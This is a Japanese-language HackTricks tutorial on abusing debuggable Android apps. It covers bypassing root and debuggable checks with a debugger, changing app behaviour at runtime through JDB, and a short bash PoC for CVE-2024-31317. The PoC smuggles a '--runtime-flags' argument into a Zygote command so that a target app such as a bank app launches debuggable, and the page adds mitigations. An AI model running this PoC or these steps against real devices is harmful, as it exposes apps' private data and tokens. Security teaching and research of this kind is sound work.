# デバッグ可能なアプリケーションの悪用 {{#include ../../banners/hacktricks-training.md}} # **ルートおよびデバッグ可能チェックのバイパス** この投稿のセクションは、投稿の要約です [**https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0**](https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0) ## Androidアプリをデバッグ可能にし、チェックをバイパスする手順 ### **アプリをデバッグ可能にする** 内容は https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0 に基づいています。 1. **APKをデコンパイルする:** - APKをデコンパイルするためにAPK-GUIツールを利用します。 - _android-manifest_ファイルに`android:debuggable="true"`を挿入してデバッグモードを有効にします。 - 修正したアプリケーションを再コンパイル、署名、zipalignします。 2. **修正したアプリケーションをインストールする:** - コマンドを使用します: `adb install `。 3. **パッケージ名を取得する:** - `adb shell pm list packages –3`を実行してサードパーティアプリケーションのリストを表示し、パッケージ名を見つけます。 4. **アプリをデバッガ接続待機状態に設定する:** - コマンド: `adb shell am setup-debug-app –w `。 - **注意:** このコマンドは、アプリケーションを開始する前に毎回実行する必要があります。 - 永続性を持たせるために、`adb shell am setup-debug-app –w ––persistent `を使用します。 - すべてのフラグを削除するには、`adb shell am clear-debug-app `を使用します。 5. **Android Studioでデバッグの準備をする:** - Android Studioで _File -> Open Profile or APK_ に移動します。 - 再コンパイルしたAPKを開きます。 6. **重要なJavaファイルにブレークポイントを設定する:** - `MainActivity.java`(特に`onCreate`メソッド)、`b.java`、および`ContextWrapper.java`にブレークポイントを配置します。 ### **チェックのバイパス** アプリケーションは、特定のポイントでデバッグ可能かどうかを確認し、ルートデバイスを示すバイナリをチェックします。デバッガを使用してアプリ情報を変更し、デバッグ可能ビットを解除し、検索されたバイナリの名前を変更してこれらのチェックをバイパスできます。 デバッグ可能チェックについて: 1. **フラグ設定を変更する:** - デバッガコンソールの変数セクションで、`this mLoadedAPK -> mApplicationInfo -> flags = 814267974`に移動します。 - **注意:** `flags = 814267974`のバイナリ表現は`11000011100111011110`であり、「Flag_debuggable」がアクティブであることを示しています。 ![https://miro.medium.com/v2/resize:fit:1400/1*-ckiSbWGSoc1beuxxpKbow.png](https://miro.medium.com/v2/resize:fit:1400/1*-ckiSbWGSoc1beuxxpKbow.png) これらの手順は、アプリケーションがデバッグ可能であり、デバッガを使用して特定のセキュリティチェックをバイパスできることを保証し、アプリケーションの動作のより詳細な分析や変更を可能にします。 ステップ2では、フラグ値を814267972に変更することが含まれ、これはバイナリで110000101101000000100010100として表されます。 # **脆弱性の悪用** 脆弱なアプリケーションを使用したデモが提供され、ボタンとテキストビューが含まれていました。最初にアプリケーションは「Crack Me」と表示します。目的は、ソースコードを変更せずに、実行時に「Try Again」から「Hacked」にメッセージを変更することです。 ## **脆弱性の確認** - アプリケーションは`apktool`を使用してデコンパイルされ、`AndroidManifest.xml`ファイルにアクセスしました。 - AndroidManifest.xmlに`android_debuggable="true"`が存在することは、アプリケーションがデバッグ可能であり、悪用される可能性があることを示しています。 - `apktool`は、コードを変更することなくデバッグ可能ステータスを確認するためにのみ使用されることに注意してください。 ## **セットアップの準備** - プロセスにはエミュレーターの起動、脆弱なアプリケーションのインストール、`adb jdwp`を使用してリスニングしているDalvik VMポートを特定することが含まれました。 - JDWP(Java Debug Wire Protocol)は、VM内で実行されているアプリケーションのデバッグを可能にし、ユニークなポートを公開します。 - リモートデバッグのためにポートフォワーディングが必要で、その後ターゲットアプリケーションにJDBを接続しました。 ## **実行時にコードを注入する** - 悪用はブレークポイントを設定し、アプリケーションのフローを制御することによって行われました。 - `classes`や`methods `のようなコマンドを使用してアプリケーションの構造を明らかにしました。 - `onClick`メソッドにブレークポイントを設定し、その実行を制御しました。 - `locals`、`next`、および`set`コマンドを使用してローカル変数を検査および変更し、「Try Again」メッセージを「Hacked」に変更しました。 - 修正されたコードは`run`コマンドを使用して実行され、アプリケーションの出力がリアルタイムで変更されました。 この例は、デバッグ可能なアプリケーションの動作がどのように操作できるかを示し、アプリケーションのコンテキスト内でデバイスへのシェルアクセスを取得するなどのより複雑な悪用の可能性を強調しています。 --- # 2024 – **任意の**アプリケーションをデバッグ可能なプロセスに変える (CVE-2024-31317) ターゲットAPKが`android:debuggable`フラグを持っていなくても、最近の研究により、Zygoteがコマンドライン引数を解析する方法を悪用することで、**任意のアプリケーション**を`DEBUG_ENABLE_JDWP`ランタイムフラグで起動することが可能であることが示されました。 * **脆弱性:** Zygoteのコマンドソケットを介して提供される`--runtime-flags`の不適切な検証により、`system_server`に到達できる攻撃者(例えば、`WRITE_SECURE_SETTINGS`権限を持つ特権`adb`シェルを介して)が追加のパラメータを注入できます。作成されたコマンドが`system_server`によって再生されると、被害者アプリはデバッグ可能としてフォークされ、JDWPスレッドがリスニングします。この問題は**CVE-2024-31317**として追跡され、2024年6月のAndroidセキュリティバルテンにて修正されました。 * **影響:** **任意の**アプリのプライベートデータディレクトリへの完全な読み取り/書き込みアクセス(`com.android.settings`などの特権アプリを含む)、トークンの盗難、MDMのバイパス、そして多くの場合、現在デバッグ可能なプロセスのエクスポートされたIPCエンドポイントを悪用することによる特権昇格への直接的な道。 * **影響を受けるバージョン:** 2024年6月のパッチレベル以前のAndroid 9から14。 ## クイックPoC ```bash # Requires: adb shell (device must be <2024-06-01 patch-level) # 1. Inject a fake API-denylist exemption that carries the malicious Zygote flag adb shell settings put global hidden_api_blacklist_exemptions "--runtime-flags=0x104|Lcom/example/Fake;->entryPoint:" # 2. Launch the target app – it will be forked with DEBUG_ENABLE_JDWP adb shell monkey -p com.victim.bank 1 # 3. Enumerate JDWP PIDs and attach with jdb / Android-Studio adb jdwp # obtain the PID adb forward tcp:8700 jdwp: jdb -connect com.sun.jdi.SocketAttach:hostname=localhost,port=8700 ``` > ステップ1で作成された値は、パーサーを「ファストパス」から外し、`--runtime-flags=0x104`(`DEBUG_ENABLE_JDWP | DEBUG_JNI_DEBUGGABLE`)をフレームワークから提供されたかのように受け入れる2番目の合成コマンドを追加します。アプリが生成されると、JDWPソケットが開かれ、通常の動的デバッグトリック(メソッド置換、変数パッチ、ライブFrida注入など)が**APKやデバイスのブートイメージを変更することなく**可能になります。 ## 検出と緩和 * **2024-06-01**(またはそれ以降)のセキュリティレベルにパッチを適用 – Googleは`ZygoteCommandBuffer`を強化し、以降のコマンドがこの方法で密輸されることができないようにしました。 * 生産デバイスでの`WRITE_SECURE_SETTINGS` / `shell`アクセスを制限します。このエクスプロイトはこの権限を必要とし、通常はADBまたはOEM特権アプリのみが保持します。 * EMM/MDM管理のフリートでは、`ro.debuggable=0`を強制し、`adb disable-verifier`でシェルを拒否します。 --- ## 参考文献 - [https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0](https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0) - [https://resources.infosecinstitute.com/android-hacking-security-part-6-exploiting-debuggable-android-applications](https://resources.infosecinstitute.com/android-hacking-security-part-6-exploiting-debuggable-android-applications) - [https://rtx.meta.security/exploitation/2024/06/03/Android-Zygote-injection.html](https://rtx.meta.security/exploitation/2024/06/03/Android-Zygote-injection.html) - [https://blog.flanker017.me/cve-2024-31317/](https://blog.flanker017.me/cve-2024-31317/) {{#include ../../banners/hacktricks-training.md}}